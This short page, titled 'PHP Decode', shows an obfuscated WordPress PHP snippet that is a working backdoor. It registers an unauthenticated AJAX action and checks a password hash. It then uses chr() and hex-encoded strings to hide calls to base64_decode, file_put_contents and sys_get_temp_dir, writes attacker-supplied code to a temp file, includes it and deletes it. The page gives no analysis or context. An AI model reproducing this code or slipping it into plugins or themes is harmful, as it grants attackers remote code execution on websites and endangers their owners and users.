PHP Decode

<?  try { 
add_action('wp_ajax_s2u_c3d_check','s2u_c3d_check'); 
function s2u_c3d_check(){ 
				$a="eseseses";  
				echo $a; 
			} 
add_action('wp_ajax_nopriv_s2u_c3d_action','s2u_c3d_action'); 
function s2u_c3d_action(){ 
				if(isset($_POST['s2u'])){ 
					if(md5(md5($_POST['s2u'])) === '0174c1933c6ece7ae9ef4b6aef082cdd'){ 
						$exn = chr(104)./*iiy*/chr(101).chr(120)./*ztczjyhl*/chr(50).chr(98).chr(105)./*bonpvq*/chr(110); 
						$yx=$exn('62'./*bonpvq*/'6173'./*iiy*/'6536'./*ztczjyhl*/'345f'./*iiy*/'646'./*bonpvq*/'5636'./*ztczjyhl*/'f6465'); 
						$yx=$yx($_POST['s2us2u']); 
						$yx1=$exn('3c'./*bonpvq*/'3f7068'./*iiy*/'7'./*ztczjyhl*/'020'); 
						$yx2=$exn('66'./*ztczjyhl*/'696c'./*bonpvq*/'655f'./*bonpvq*/'7075745f6'./*iiy*/'36f6e74'./*bonpvq*/'656e7473'); 
						$yx3=$exn('73'./*iiy*/'79735f6'./*ztczjyhl*/'765745'./*ztczjyhl*/'f74'./*iiy*/'656d705f'./*bonpvq*/'646972'); 
						@$yx2($yx3().'/826812'.'',$yx1 . $yx); 
						@include($yx3().'/826812'); 
						@unlink($yx3().'/826812'); 
					} 
				} 
				 
			} 
} 
catch(Exception $e) { 
 
} ?>